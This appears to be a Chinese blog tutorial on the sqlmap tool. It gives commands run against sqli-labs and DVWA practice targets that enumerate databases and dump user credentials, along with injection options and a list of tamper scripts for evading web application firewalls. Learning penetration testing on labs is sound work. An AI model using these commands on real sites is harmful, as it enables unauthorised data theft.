0
点赞
收藏
分享

微信扫一扫

sqlmap 使用教程

sqlmap 使用教程

文章目录

标准GET

sqlmap -u xiu.com/Less-1/?id=1
sqlmap -u xiu.com/Less-1/?id=1 -dbs
sqlmap -u xiu.com/Less-1/?id=1 --current-db
sqlmap -u xiu.com/Less-1/?id=1 -D security --tables
sqlmap -u xiu.com/Less-1/?id=1 -D security -T users --columns
sqlmap -u xiu.com/Less-1/?id=1 -D security -T users -C password,username --dump
sqlmap -u "http://192.168.100.131/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"  --cookie="security=low;PHPSESSID=gvqrgdvneogclnmj56i42qkju0"

标准POST

sqlmap -u xiu.com/Less-11/ --forms
sqlmap -u xiu.com/Less-11/ --forms --dbs
sqlmap -r burp.txt -p uname      
sqlmap -r burp.txt -p uname  --dbs
sqlmap -u xiu.com/Less-11/ --data "uname=111&passwd=111&submit=Submit"
sqlmap -u xiu.com/Less-11/ --data "uname=111&passwd=111&submit=Submit" --dbs

一些操作

--threads 5           #指定线程数
--fresh-queries       #清除缓存
--flush-session       #清空会话,重构注入 
--batch               #对所有的交互式的都是默认的
--random-agent        #任意的http头
--referer http://www.baidu.com   #伪造referer字段
--dbms="MySQL"   # 指定其数据库为mysql 
--time-sec=3     # 使用长的延时来避免触发WAF的机制,这方式比较耗时
--hex 或者 --no-cast     进行字符码转换
--mobile          对移动端的服务器进行注入

指定注入: --technique

sqlmap -u http://192.168.100.131/sqli/Less-1/?id=1 --technique T --dbs
   B: Boolean-based blind SQL injection(布尔型注入)
  E: Error-based SQL injection(报错型注入)
  U: UNION query SQL injection(可联合查询注入)
  S: Stacked queries SQL injection(可多语句查询注入)
  T: Time-based blind SQL injection(基于时间延迟注入)

信息的详细度: -v

 sqlmap -u http://192.168.100.131/sqli/Less-3/?id=1  -v 5

使用-v参数,共有七个等级:

0. 只显示python错误以及严重的信息。
 
1. 同时显示基本信息和警告信息。(默认)
 
2. 同时显示debug信息。
 
3. 同时显示注入的payload。
 
4. 同时显示HTTP请求。
 
5. 同时显示HTTP响应头。
 
6. 同时显示HTTP响应页面。

探测等级:–level

有五个等级,默认为1

sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根据相应的格式添加自己的payload。

这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,

HTTP Cookie在level为2的时候就会测试,

HTTP User-Agent/Referer头在level为3的时候就会测试。

总之 等级越高,说明探测时使用的payload也越多,探测的时间也越慢

风险等级 –risk

共有四个风险等级,

1 会测试大部分的测试语句(默认)

2 会增加基于事件的测试语句,

3 会增加OR语句的SQL注入测试。

在有些时候,例如在UPDATE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险。

测试的语句同样可以在xml/payloads.xml中找到,你也可以自行添加payload。

绕过WAF --tampe

 sqlmap -u http://192.168.100.131/sqli/Less-1/?id=1 --tamper=space2comment.py
apostrophemask.py用UTF-8全角字符替换单引号字符
apostrophenullencode.py 用非法双字节unicode字符替换单引号字符
appendnullbyte.py在payload末尾添加空字符编码
base64encode.py 对给定的payload全部字符使用Base64编码
between.py分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=”
bluecoat.py 在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等于号“=”
chardoubleencode.py 对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)
charencode.py 对给定的payload全部字符使用URL编码(不处理已经编码的字符)
charunicodeencode.py 对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)
concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例
equaltolike.py 用“LIKE”运算符替换全部等于号“=”
greatest.py 用“GREATEST”函数替换大于号“>”
halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释
ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例
lowercase.py 用小写值替换每个关键字字符
modsecurityversioned.py 用注释包围完整的查询
modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询
multiplespaces.py 在SQL关键字周围添加多个空格
nonrecursivereplacement.py 用representations替换预定义SQL关键字,适用于过滤器
overlongutf8.py 转换给定的payload当中的所有字符
percentage.py 在每个字符之前添加一个百分号
randomcase.py 随机转换每个关键字字符的大小写
randomcomments.py 向SQL关键字中插入随机注释
securesphere.py 添加经过特殊构造的字符串
sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs
space2comment.py 用“/**/”替换空格符
space2dash.py 用破折号注释符“--”其次是一个随机字符串和一个换行符替换空格符
space2hash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2morehash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
space2mssqlhash.py 用磅注释符“#”其次是一个换行符替换空格符
space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
space2mysqldash.py 用破折号注释符“--”其次是一个换行符替换空格符
space2plus.py 用加号“+”替换空格符
space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
unionalltounion.py 用“UNION SELECT”替换“UNION ALL SELECT”
unmagicquotes.py 用一个多字节组合%bf%27和末尾通用注释一起替换空格符
varnish.py 添加一个HTTP头“X-originating-IP”来绕过WAF
versionedkeywords.py 用MySQL注释包围每个非函数关键字
versionedmorekeywords.py 用MySQL注释包围每个关键字
xforwardedfor.py 添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF
举报

相关推荐

0 条评论